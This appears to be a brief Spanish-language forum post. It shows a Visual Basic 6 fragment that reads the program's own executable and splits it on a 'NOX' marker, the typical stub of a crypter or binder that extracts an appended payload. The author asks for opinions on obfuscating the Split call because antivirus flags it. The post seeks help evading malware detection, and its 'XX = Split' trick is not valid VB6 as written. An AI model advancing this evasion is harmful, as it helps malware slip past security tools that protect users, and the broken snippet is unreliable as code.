Dim RESIGN As String
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
RESIGN = Space(LOF(1))
Get #1, , RESIGN
Close #1
Dim JAKA() As String
XX = Split
JAKA() = XX(RESIGN, "NOX")
Creo que el antivirus me detecta el Split y e pensado en ofuscarlo asi,¿¿que opinais??